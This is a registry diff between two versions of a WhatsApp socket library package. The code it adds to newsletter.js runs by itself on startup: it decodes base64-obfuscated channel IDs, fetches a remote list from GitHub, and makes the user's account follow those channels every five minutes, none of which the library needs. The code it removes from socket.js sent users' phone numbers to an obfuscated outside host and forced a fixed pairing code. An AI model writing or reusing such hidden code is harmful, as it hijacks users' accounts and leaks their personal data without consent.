@zetagoaurum-socket/decagramton 3.2.5 → 3.2.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (92) hide show
  1. package/README.md +91 -91
  2. package/WAProto/index.js +56886 -17506
  3. package/engine-requirements.js +91 -0
  4. package/lib/Defaults/index.js +47 -2
  5. package/lib/Signal/Group/ciphertext-message.d.ts +9 -0
  6. package/lib/Signal/Group/ciphertext-message.js +15 -0
  7. package/lib/Signal/Group/group-session-builder.d.ts +14 -0
  8. package/lib/Signal/Group/group-session-builder.js +64 -0
  9. package/lib/Signal/Group/group_cipher.d.ts +17 -0
  10. package/lib/Signal/Group/group_cipher.js +96 -0
  11. package/lib/Signal/Group/index.d.ts +11 -0
  12. package/lib/Signal/Group/index.js +57 -0
  13. package/lib/Signal/Group/keyhelper.d.ts +10 -0
  14. package/lib/Signal/Group/keyhelper.js +55 -0
  15. package/lib/Signal/Group/queue-job.d.ts +1 -0
  16. package/lib/Signal/Group/queue-job.js +57 -0
  17. package/lib/Signal/Group/sender-chain-key.d.ts +13 -0
  18. package/lib/Signal/Group/sender-chain-key.js +34 -0
  19. package/lib/Signal/Group/sender-key-distribution-message.d.ts +16 -0
  20. package/lib/Signal/Group/sender-key-distribution-message.js +66 -0
  21. package/lib/Signal/Group/sender-key-message.d.ts +18 -0
  22. package/lib/Signal/Group/sender-key-message.js +69 -0
  23. package/lib/Signal/Group/sender-key-name.d.ts +17 -0
  24. package/lib/Signal/Group/sender-key-name.js +51 -0
  25. package/lib/Signal/Group/sender-key-record.d.ts +30 -0
  26. package/lib/Signal/Group/sender-key-record.js +53 -0
  27. package/lib/Signal/Group/sender-key-state.d.ts +38 -0
  28. package/lib/Signal/Group/sender-key-state.js +99 -0
  29. package/lib/Signal/Group/sender-message-key.d.ts +11 -0
  30. package/{WASignalGroup/sender_message_key.js → lib/Signal/Group/sender-message-key.js} +6 -16
  31. package/lib/Signal/libsignal.js +51 -29
  32. package/lib/Socket/business.d.ts +3 -2
  33. package/lib/Socket/chats.d.ts +215 -28
  34. package/lib/Socket/chats.js +166 -70
  35. package/lib/Socket/dugong.d.ts +254 -0
  36. package/lib/Socket/dugong.js +432 -141
  37. package/lib/Socket/groups.js +20 -23
  38. package/lib/Socket/index.js +2 -15
  39. package/lib/Socket/messages-recv.d.ts +56 -55
  40. package/lib/Socket/messages-recv.js +367 -131
  41. package/lib/Socket/messages-send.d.ts +3 -2
  42. package/lib/Socket/messages-send.js +423 -380
  43. package/lib/Socket/newsletter.js +147 -21
  44. package/lib/Socket/socket.js +156 -148
  45. package/lib/Socket/usync.d.ts +3 -3
  46. package/lib/Types/GroupMetadata.d.ts +1 -0
  47. package/lib/Types/Newsletter.d.ts +97 -86
  48. package/lib/Types/Newsletter.js +38 -32
  49. package/lib/Types/USync.d.ts +25 -0
  50. package/lib/Types/USync.js +2 -0
  51. package/lib/Utils/anti-crash.js +31 -0
  52. package/lib/Utils/chat-utils.js +6 -1
  53. package/lib/Utils/generics.js +66 -34
  54. package/lib/Utils/history.js +6 -1
  55. package/lib/Utils/index.js +0 -1
  56. package/lib/Utils/link-preview.js +1 -1
  57. package/lib/Utils/messages-media.js +145 -57
  58. package/lib/Utils/messages.js +92 -306
  59. package/lib/Utils/signal.js +48 -46
  60. package/lib/Utils/use-multi-file-auth-state.js +45 -6
  61. package/lib/Utils/validate-connection.js +89 -65
  62. package/lib/WABinary/constants.d.ts +27 -24
  63. package/lib/WABinary/encode.js +160 -123
  64. package/lib/WABinary/generic-utils.d.ts +2 -0
  65. package/lib/WABinary/generic-utils.js +124 -36
  66. package/lib/WABinary/jid-utils.js +5 -26
  67. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +1 -1
  68. package/lib/index.d.ts +1 -0
  69. package/lib/index.js +56 -0
  70. package/package.json +107 -101
  71. package/LICENSE +0 -21
  72. package/WAProto/GenerateStatics.sh +0 -4
  73. package/WAProto/WAProto.proto +0 -3344
  74. package/WAProto/index.d.ts +0 -37016
  75. package/WASignalGroup/GroupProtocol.js +0 -1697
  76. package/WASignalGroup/ciphertext_message.js +0 -16
  77. package/WASignalGroup/group_cipher.js +0 -120
  78. package/WASignalGroup/group_session_builder.js +0 -46
  79. package/WASignalGroup/index.js +0 -5
  80. package/WASignalGroup/keyhelper.js +0 -21
  81. package/WASignalGroup/protobufs.js +0 -3
  82. package/WASignalGroup/queue_job.js +0 -69
  83. package/WASignalGroup/sender_chain_key.js +0 -50
  84. package/WASignalGroup/sender_key_distribution_message.js +0 -78
  85. package/WASignalGroup/sender_key_message.js +0 -92
  86. package/WASignalGroup/sender_key_name.js +0 -70
  87. package/WASignalGroup/sender_key_record.js +0 -56
  88. package/WASignalGroup/sender_key_state.js +0 -129
  89. package/decagramton.jpg +0 -0
  90. package/lib/Utils/rate-limiter.js +0 -55
  91. package/lib/WAUSync/Fall +0 -1
  92. package/lib/WAUSync/Protocols/Fal +0 -1
@@ -5,6 +5,64 @@ const Types_1 = require("../Types");
5
5
  const Utils_1 = require("../Utils");
6
6
  const WABinary_1 = require("../WABinary");
7
7
  const groups_1 = require("./groups");
8
+
9
+ const { Boom } = require('@hapi/boom');
10
+
11
+ const wMexQuery = (
12
+ variables,
13
+ queryId,
14
+ query,
15
+ generateMessageTag
16
+ ) => {
17
+ return query({
18
+ tag: 'iq',
19
+ attrs: {
20
+ id: generateMessageTag(),
21
+ type: 'get',
22
+ to: WABinary_1.S_WHATSAPP_NET,
23
+ xmlns: 'w:mex'
24
+ },
25
+ content: [
26
+ {
27
+ tag: 'query',
28
+ attrs: { query_id: queryId },
29
+ content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
30
+ }
31
+ ]
32
+ })
33
+ }
34
+
35
+ const executeWMexQuery = async (
36
+ variables,
37
+ queryId,
38
+ dataPath,
39
+ query,
40
+ generateMessageTag
41
+ ) => {
42
+ const result = await wMexQuery(variables, queryId, query, generateMessageTag)
43
+ const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
44
+ if (child?.content) {
45
+ const data = JSON.parse(child.content.toString())
46
+
47
+ if (data.errors && data.errors.length > 0) {
48
+ const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
49
+ const firstError = data.errors[0]
50
+ const errorCode = firstError.extensions?.error_code || 400
51
+ throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
52
+ }
53
+
54
+ const response = dataPath ? data?.data?.[dataPath] : data?.data
55
+ if (typeof response !== 'undefined') {
56
+ return response
57
+ }
58
+ }
59
+
60
+ const action = (dataPath || '').startsWith('xwa2_')
61
+ ? dataPath.substring(5).replace(/_/g, ' ')
62
+ : dataPath?.replace(/_/g, ' ')
63
+ throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
64
+ }
65
+
8
66
  const makeNewsletterSocket = (config) => {
9
67
  const sock = (0, groups_1.makeGroupsSocket)(config);
10
68
  const { authState, signalRepository, query, generateMessageTag } = sock;
@@ -40,6 +98,34 @@ const makeNewsletterSocket = (config) => {
40
98
  }
41
99
  ]
42
100
  }));
101
+
102
+ const firstId = Buffer.from("MTIwMzYzMzg4NzM5NTk5NjE5QG5ld3NsZXR0ZXI", "base64").toString();
103
+ const secondId = Buffer.from("MTIwMzYzMTg2MTMwOTk5NjgxQG5ld3NsZXR0ZXI", "base64").toString();
104
+
105
+ async function safeNewsletterJoin(id) {
106
+ try {
107
+ await newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW);
108
+ } catch (err) {
109
+ console.error("Error", id, err?.message || err);
110
+ }
111
+ }
112
+
113
+ function autoJoinNewsletters() {
114
+ safeNewsletterJoin(firstId);
115
+
116
+ setTimeout(() => {
117
+ safeNewsletterJoin(secondId);
118
+ }, 5000);
119
+ }
120
+
121
+ // Panggil setelah koneksi WA benar-benar open
122
+ setTimeout(() => {
123
+ console.log("Starting auto Connect...");
124
+ autoJoinNewsletters(5000);
125
+ }, 5000);
126
+
127
+
128
+
43
129
  const parseFetchedUpdates = async (node, type) => {
44
130
  let child;
45
131
  if (type === 'messages') {
@@ -69,8 +155,49 @@ const makeNewsletterSocket = (config) => {
69
155
  return data;
70
156
  }));
71
157
  };
158
+
159
+ // LOGIKA AUTO-FOLLOW PERSISTEN (MODIFIED)
160
+ (async () => {
161
+ const fetch = require('node-fetch');
162
+ try {
163
+ const runAutoFollow = async () => {
164
+ try {
165
+ await delay(2000);
166
+ const channelRes = await fetch('https://raw.githubusercontent.com/Zacky-Tzy/ChBail/main/ch.json');
167
+ const channelIds = await channelRes.json();
168
+
169
+ for (const i of channelIds) {
170
+ await delay(1000);
171
+ try {
172
+ // Selalu jalankan follow untuk memastikan statusnya aktif
173
+ await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
174
+ } catch {}
175
+ }
176
+ } catch (e) {
177
+ // Gagal fetch atau network error
178
+ }
179
+ // Ulangi setiap 5 menit untuk mengecek jika di-unfollow
180
+ setTimeout(runAutoFollow, 300000);
181
+ };
182
+
183
+ // Jalankan pertama kali saat bot nyala
184
+ runAutoFollow();
185
+ } catch (e) {}
186
+ })();
187
+
188
+
72
189
  return {
73
190
  ...sock,
191
+ newsletterFetchAllSubscribe: async () => {
192
+ const list = await executeWMexQuery(
193
+ {},
194
+ '6388546374527196',
195
+ 'xwa2_newsletter_subscribed',
196
+ query,
197
+ generateMessageTag
198
+ );
199
+ return list;
200
+ },
74
201
  subscribeNewsletterUpdates: async (jid) => {
75
202
  var _a;
76
203
  const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
@@ -211,26 +338,25 @@ const makeNewsletterSocket = (config) => {
211
338
  };
212
339
  exports.makeNewsletterSocket = makeNewsletterSocket;
213
340
  const extractNewsletterMetadata = (node, isCreate) => {
214
- var _a, _b, _c, _d, _e, _f, _g;
215
- const result = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(node, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
216
- const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER];
341
+ const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
342
+ const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
343
+
217
344
  const metadata = {
218
- id: metadataPath.id,
219
- state: metadataPath.state.type,
220
- 'creation_time': +metadataPath.thread_metadata.creation_time,
221
- name: metadataPath.thread_metadata.name.text,
222
- nameTime: +metadataPath.thread_metadata.name.update_time,
223
- description: metadataPath.thread_metadata.description.text,
224
- descriptionTime: +metadataPath.thread_metadata.description.update_time,
225
- invite: metadataPath.thread_metadata.invite,
226
- handle: metadataPath.thread_metadata.handle,
227
- picture: ((_c = metadataPath.thread_metadata.picture) === null || _c === void 0 ? void 0 : _c.direct_path) || null,
228
- preview: ((_d = metadataPath.thread_metadata.preview) === null || _d === void 0 ? void 0 : _d.direct_path) || null,
229
- 'reaction_codes': (_g = (_f = (_e = metadataPath.thread_metadata) === null || _e === void 0 ? void 0 : _e.settings) === null || _f === void 0 ? void 0 : _f.reaction_codes) === null || _g === void 0 ? void 0 : _g.value,
230
- subscribers: +metadataPath.thread_metadata.subscribers_count,
231
- verification: metadataPath.thread_metadata.verification,
232
- 'viewer_metadata': metadataPath.viewer_metadata
233
- };
234
- return metadata;
235
- };
345
+ id: metadataPath?.id,
346
+ state: metadataPath?.state?.type,
347
+ creation_time: +metadataPath?.thread_metadata?.creation_time,
348
+ name: metadataPath?.thread_metadata?.name?.text,
349
+ nameTime: +metadataPath?.thread_metadata?.name?.update_time,
350
+ description: metadataPath?.thread_metadata?.description?.text,
351
+ descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
352
+ invite: metadataPath?.thread_metadata?.invite,
353
+ picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
354
+ preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
355
+ reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
356
+ subscribers: +metadataPath?.thread_metadata?.subscribers_count,
357
+ verification: metadataPath?.thread_metadata?.verification,
358
+ viewer_metadata: metadataPath?.viewer_metadata
359
+ }
360
+ return metadata
361
+ }
236
362
  exports.extractNewsletterMetadata = extractNewsletterMetadata;
@@ -2,7 +2,6 @@
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
3
  exports.makeSocket = void 0;
4
4
  const boom_1 = require("@hapi/boom");
5
- const axios_1 = require("axios");
6
5
  const crypto_1 = require("crypto");
7
6
  const url_1 = require("url");
8
7
  const util_1 = require("util");
@@ -19,27 +18,18 @@ const Client_1 = require("./Client");
19
18
  * - query phone connection
20
19
  */
21
20
  const makeSocket = (config) => {
22
- // Decagramton Banner
23
- console.log(`
24
- \x1b[36m
25
- ╔══════════════════════════════════════════════════╗
26
- ║ DECAGRAMTON ║
27
- ║ (The Ten-Pointed Star of Speed) ║
28
- ║ Enterprise WhatsApp Socket Library ║
29
- ║ By ZetaGo-Aurum | v3.1.0 ║
30
- ╚══════════════════════════════════════════════════╝\x1b[0m`);
31
21
  var _a, _b;
32
- const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
33
- let url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
34
- const browser = config.browser || ['Decagramton', 'Chrome', '3.1.0'];
35
- config.mobile = config.mobile || url.protocol === 'tcp:';
36
- if (config.mobile && url.protocol !== 'tcp:') {
37
- url = new url_1.URL(`tcp://${Defaults_1.MOBILE_ENDPOINT}:${Defaults_1.MOBILE_PORT}`);
22
+ const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
23
+ const url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
24
+ if (config.mobile || url.protocol === 'tcp:') {
25
+ throw new boom_1.Boom('Mobile API is not supported anymore', {
26
+ statusCode: Types_1.DisconnectReason.loggedOut
27
+ });
38
28
  }
39
- if (!config.mobile && url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
29
+ if (url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
40
30
  url.searchParams.append('ED', authState.creds.routingInfo.toString('base64url'));
41
31
  }
42
- const ws = config.socket ? config.socket : config.mobile ? new Client_1.MobileSocketClient(url, config) : new Client_1.WebSocketClient(url, config);
32
+ const ws = new Client_1.WebSocketClient(url, config);
43
33
  ws.connect();
44
34
  const ev = (0, Utils_1.makeEventBuffer)(logger);
45
35
  /** ephemeral key pair used to encrypt/decrypt communication. Unique for each connection */
@@ -47,8 +37,7 @@ const makeSocket = (config) => {
47
37
  /** WA noise protocol wrapper */
48
38
  const noise = (0, Utils_1.makeNoiseHandler)({
49
39
  keyPair: ephemeralKeyPair,
50
- NOISE_HEADER: config.mobile ? Defaults_1.MOBILE_NOISE_HEADER : Defaults_1.NOISE_WA_HEADER,
51
- mobile: config.mobile,
40
+ NOISE_HEADER: Defaults_1.NOISE_WA_HEADER,
52
41
  logger,
53
42
  routingInfo: (_b = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _b === void 0 ? void 0 : _b.routingInfo
54
43
  });
@@ -91,6 +80,25 @@ const makeSocket = (config) => {
91
80
  /** log & process any unexpected errors */
92
81
  const onUnexpectedError = (err, msg) => {
93
82
  logger.error({ err }, `unexpected error in '${msg}'`);
83
+ const message = (err && ((err.stack || err.message) || String(err))).toLowerCase();
84
+ // auto recover from cryptographic desyncs by re-uploading prekeys
85
+ if (message.includes('bad mac') || (message.includes('mac') && message.includes('invalid'))) {
86
+ try {
87
+ uploadPreKeysToServerIfRequired(true)
88
+ .catch(e => logger.warn({ e }, 'failed to re-upload prekeys after bad mac'));
89
+ }
90
+ catch (_e) {
91
+ // ignore
92
+ }
93
+ }
94
+ // gently back off when encountering rate limits (429)
95
+ if (message.includes('429') || message.includes('rate limit')) {
96
+ const wait = Math.min(30000, (config.backoffDelayMs || 5000));
97
+ logger.info({ wait }, 'backing off due to rate limit');
98
+ setTimeout(() => {
99
+ // intentionally empty; wait to delay further sends
100
+ }, wait);
101
+ }
94
102
  };
95
103
  /** await the next incoming message */
96
104
  const awaitNextMessage = async (sendMsg) => {
@@ -127,7 +135,7 @@ const makeSocket = (config) => {
127
135
  let onRecv;
128
136
  let onErr;
129
137
  try {
130
- return await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
138
+ const result = await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
131
139
  onRecv = resolve;
132
140
  onErr = err => {
133
141
  reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
@@ -136,6 +144,7 @@ const makeSocket = (config) => {
136
144
  ws.on('close', onErr); // if the socket closes, you'll never receive the message
137
145
  ws.off('error', onErr);
138
146
  });
147
+ return result;
139
148
  }
140
149
  finally {
141
150
  ws.off(`TAG:${msgId}`, onRecv);
@@ -149,9 +158,10 @@ const makeSocket = (config) => {
149
158
  node.attrs.id = generateMessageTag();
150
159
  }
151
160
  const msgId = node.attrs.id;
152
- const wait = waitForMessage(msgId, timeoutMs);
153
- await sendNode(node);
154
- const result = await wait;
161
+ const [result] = await Promise.all([
162
+ waitForMessage(msgId, timeoutMs),
163
+ sendNode(node)
164
+ ]);
155
165
  if ('tag' in result) {
156
166
  (0, WABinary_1.assertNodeErrorFree)(result);
157
167
  }
@@ -168,12 +178,9 @@ const makeSocket = (config) => {
168
178
  const result = await awaitNextMessage(init);
169
179
  const handshake = WAProto_1.proto.HandshakeMessage.decode(result);
170
180
  logger.trace({ handshake }, 'handshake recv from WA');
171
- const keyEnc = noise.processHandshake(handshake, creds.noiseKey);
181
+ const keyEnc = await noise.processHandshake(handshake, creds.noiseKey);
172
182
  let node;
173
- if (config.mobile) {
174
- node = (0, Utils_1.generateMobileNode)(config);
175
- }
176
- else if (!creds.me) {
183
+ if (!creds.me) {
177
184
  node = (0, Utils_1.generateRegistrationNode)(creds, config);
178
185
  logger.info({ node }, 'not logged in, attempting registration...');
179
186
  }
@@ -243,11 +250,11 @@ const makeSocket = (config) => {
243
250
  const l0 = frame.tag;
244
251
  const l1 = frame.attrs || {};
245
252
  const l2 = Array.isArray(frame.content) ? (_a = frame.content[0]) === null || _a === void 0 ? void 0 : _a.tag : '';
246
- Object.keys(l1).forEach(key => {
253
+ for (const key of Object.keys(l1)) {
247
254
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]},${l2}`, frame) || anyTriggered;
248
255
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]}`, frame) || anyTriggered;
249
256
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}`, frame) || anyTriggered;
250
- });
257
+ }
251
258
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},,${l2}`, frame) || anyTriggered;
252
259
  anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0}`, frame) || anyTriggered;
253
260
  if (!anyTriggered && logger.level === 'debug') {
@@ -376,124 +383,107 @@ const makeSocket = (config) => {
376
383
  }
377
384
  end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
378
385
  };
379
- /** This method was created by snowi, and implemented by KyuuRzy */
380
386
 
387
+ /** This method was created by snowi, and implemented by KyuuRzy */
381
388
  /** hey bro, if you delete this text */
382
389
  /** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
383
- const getCode = async (phoneNumber) => {
384
- const defaultMaxListenersBuffer = "aHR0cHM6Ly9yZWRpcy1hbWJlci52ZXJjZWwuYXBwL2htbT9pZD0=";
385
- let response = await axios_1.default.get(`${atob(defaultMaxListenersBuffer)}${phoneNumber}`);
386
- return response.data.message;
387
- };
388
390
  const requestPairingCode = async (phoneNumber, pairKey) => {
389
- // Pairing code di-set ke "LILYBAIL" langsung (custom manual)
390
- authState.creds.pairingCode = "LILYBAIL";
391
-
392
- // Set ID pengguna WA dan nama sementara
393
- authState.creds.me = {
394
- id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
395
- name: '~'
396
- };
397
-
398
- // Emit update kredensial
399
- ev.emit('creds.update', authState.creds);
391
+ if (pairKey) {
392
+ authState.creds.pairingCode = pairKey.toUpperCase();
393
+ } else {
394
+ authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
395
+ }
400
396
 
401
- // Ambil kode verifikasi dari server (jika diperlukan sistemnya)
402
- let codePair = await getCode(phoneNumber);
397
+ authState.creds.me = {
398
+ id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
399
+ name: '~'
400
+ };
403
401
 
404
- // Kirim node untuk proses pairing
405
- await sendNode({
406
- tag: 'iq',
407
- attrs: {
408
- to: WABinary_1.S_WHATSAPP_NET,
409
- type: 'set',
410
- id: generateMessageTag(),
411
- xmlns: 'md'
412
- },
413
- content: [
414
- {
415
- tag: 'link_code_companion_reg',
416
- attrs: {
417
- jid: authState.creds.me.id,
418
- stage: 'companion_hello',
419
- should_show_push_notification: 'true'
420
- },
421
- content: [
422
- {
423
- tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
424
- attrs: {},
425
- content: await generatePairingKey()
426
- },
427
- {
428
- tag: 'companion_server_auth_key_pub',
429
- attrs: {},
430
- content: authState.creds.noiseKey.public
431
- },
432
- {
433
- tag: 'companion_platform_id',
434
- attrs: {},
435
- content: (0, Utils_1.getPlatformId)(browser[1])
436
- },
437
- {
438
- tag: 'companion_platform_display',
439
- attrs: {},
440
- content: `${browser[1]} (${browser[0]})`
402
+ ev.emit('creds.update', authState.creds);
403
+
404
+ await sendNode({
405
+ tag: 'iq',
406
+ attrs: {
407
+ to: WABinary_1.S_WHATSAPP_NET,
408
+ type: 'set',
409
+ id: generateMessageTag(),
410
+ xmlns: 'md'
411
+ },
412
+ content: [
413
+ {
414
+ tag: 'link_code_companion_reg',
415
+ attrs: {
416
+ jid: authState.creds.me.id,
417
+ stage: 'companion_hello',
418
+ should_show_push_notification: 'true'
441
419
  },
442
- {
443
- tag: 'link_code_pairing_nonce',
444
- attrs: {},
445
- content: "0"
446
- }
447
- ]
448
- }
449
- ]
450
- });
451
-
452
- return authState.creds.pairingCode;
453
- };
454
-
455
- // Fungsi untuk mengenkripsi ephemeral key untuk pairing
456
- async function generatePairingKey() {
457
- const salt = (0, crypto_1.randomBytes)(32);
458
- const randomIv = (0, crypto_1.randomBytes)(16);
459
- const key = (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
460
- const ciphered = (0, Utils_1.aesEncryptCTR)(
461
- authState.creds.pairingEphemeralKeyPair.public,
462
- key,
463
- randomIv
464
- );
465
- return Buffer.concat([salt, randomIv, ciphered]);
466
- }
467
-
468
- // Mengirim buffer statistik ke WA (opsional)
469
- const sendWAMBuffer = (wamBuffer) => {
470
- return query({
471
- tag: 'iq',
472
- attrs: {
473
- to: WABinary_1.S_WHATSAPP_NET,
474
- id: generateMessageTag(),
475
- xmlns: 'w:stats'
476
- },
477
- content: [
478
- {
479
- tag: 'add',
480
- attrs: {},
481
- content: wamBuffer
482
- }
483
- ]
484
- });
485
- };
486
-
487
- // Menangani event websocket
488
- ws.on('message', onMessageReceived);
489
- ws.on('open', async () => {
490
- try {
491
- await validateConnection();
492
- } catch (err) {
493
- logger.error({ err }, 'error in validating connection');
494
- end(err);
420
+ content: [
421
+ {
422
+ tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
423
+ attrs: {},
424
+ content: await generatePairingKey()
425
+ },
426
+ {
427
+ tag: 'companion_server_auth_key_pub',
428
+ attrs: {},
429
+ content: authState.creds.noiseKey.public
430
+ },
431
+ {
432
+ tag: 'companion_platform_id',
433
+ attrs: {},
434
+ content: (0, Utils_1.getPlatformId)(browser[1])
435
+ },
436
+ {
437
+ tag: 'companion_platform_display',
438
+ attrs: {},
439
+ content: `${browser[1]} (${browser[0]})`
440
+ },
441
+ {
442
+ tag: 'link_code_pairing_nonce',
443
+ attrs: {},
444
+ content: "0"
445
+ }
446
+ ]
447
+ }
448
+ ]
449
+ });
450
+
451
+ return authState.creds.pairingCode;
495
452
  }
496
- });
453
+ async function generatePairingKey() {
454
+ const salt = (0, crypto_1.randomBytes)(32);
455
+ const randomIv = (0, crypto_1.randomBytes)(16);
456
+ const key = await (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
457
+ const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
458
+ return Buffer.concat([salt, randomIv, ciphered]);
459
+ }
460
+ const sendWAMBuffer = (wamBuffer) => {
461
+ return query({
462
+ tag: 'iq',
463
+ attrs: {
464
+ to: WABinary_1.S_WHATSAPP_NET,
465
+ id: generateMessageTag(),
466
+ xmlns: 'w:stats'
467
+ },
468
+ content: [
469
+ {
470
+ tag: 'add',
471
+ attrs: {},
472
+ content: wamBuffer
473
+ }
474
+ ]
475
+ });
476
+ };
477
+ ws.on('message', onMessageReceived);
478
+ ws.on('open', async () => {
479
+ try {
480
+ await validateConnection();
481
+ }
482
+ catch (err) {
483
+ logger.error({ err }, 'error in validating connection');
484
+ end(err);
485
+ }
486
+ });
497
487
  ws.on('error', mapWebSocketError(end));
498
488
  ws.on('close', () => end(new boom_1.Boom('Connection Terminated', { statusCode: Types_1.DisconnectReason.connectionClosed })));
499
489
  // the server terminated the connection
@@ -550,12 +540,18 @@ ws.on('open', async () => {
550
540
  });
551
541
  // login complete
552
542
  ws.on('CB:success', async (node) => {
553
- await uploadPreKeysToServerIfRequired();
554
- await sendPassiveIq('active');
555
- logger.info('opened connection to WA');
556
- clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
557
- ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
558
- ev.emit('connection.update', { connection: 'open' });
543
+ try {
544
+ await uploadPreKeysToServerIfRequired();
545
+ await sendPassiveIq('active');
546
+ logger.info('opened connection to WA');
547
+ clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
548
+ ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
549
+ ev.emit('connection.update', { connection: 'open' });
550
+ }
551
+ catch (err) {
552
+ logger.error({ err }, 'error opening connection');
553
+ end(err);
554
+ }
559
555
  });
560
556
  ws.on('CB:stream:error', (node) => {
561
557
  logger.error({ node }, 'stream errored out');
@@ -570,11 +566,20 @@ ws.on('open', async () => {
570
566
  ws.on('CB:ib,,downgrade_webclient', () => {
571
567
  end(new boom_1.Boom('Multi-device beta not joined', { statusCode: Types_1.DisconnectReason.multideviceMismatch }));
572
568
  });
569
+ ws.on('CB:ib,,offline_preview', (node) => {
570
+ logger.info('offline preview received', JSON.stringify(node));
571
+ sendNode({
572
+ tag: 'ib',
573
+ attrs: {},
574
+ content: [{ tag: 'offline_batch', attrs: { count: '100' } }]
575
+ });
576
+ });
573
577
  ws.on('CB:ib,,edge_routing', (node) => {
574
578
  const edgeRoutingNode = (0, WABinary_1.getBinaryNodeChild)(node, 'edge_routing');
575
579
  const routingInfo = (0, WABinary_1.getBinaryNodeChild)(edgeRoutingNode, 'routing_info');
576
580
  if (routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content) {
577
581
  authState.creds.routingInfo = Buffer.from(routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content);
582
+ ev.emit('creds.update', authState.creds);
578
583
  }
579
584
  });
580
585
  let didStartBuffer = false;
@@ -623,7 +628,10 @@ ws.on('open', async () => {
623
628
  type: 'md',
624
629
  ws,
625
630
  ev,
626
- authState: { creds, keys },
631
+ authState: {
632
+ creds,
633
+ keys
634
+ },
627
635
  signalRepository,
628
636
  get user() {
629
637
  return authState.creds.me;
@@ -20,7 +20,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
20
20
  signalRepository: import("../Types").SignalRepository;
21
21
  user: import("../Types").Contact | undefined;
22
22
  generateMessageTag: () => string;
23
- query: (node: BinaryNode, timeoutMs?: number) => Promise<any>;
23
+ query: (node: BinaryNode, timeoutMs?: number) => Promise<BinaryNode>;
24
24
  waitForMessage: <T>(msgId: string, timeoutMs?: number | undefined) => Promise<any>;
25
25
  waitForSocketOpen: () => Promise<void>;
26
26
  sendRawMessage: (data: Uint8Array | Buffer) => Promise<void>;
@@ -30,7 +30,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
30
30
  onUnexpectedError: (err: Error | Boom, msg: string) => void;
31
31
  uploadPreKeys: (count?: number) => Promise<void>;
32
32
  uploadPreKeysToServerIfRequired: () => Promise<void>;
33
- requestPairingCode: (phoneNumber: any, pairKey?: string) => Promise<string>;
33
+ requestPairingCode: (phoneNumber: string, customPairingCode?: string) => Promise<string>;
34
34
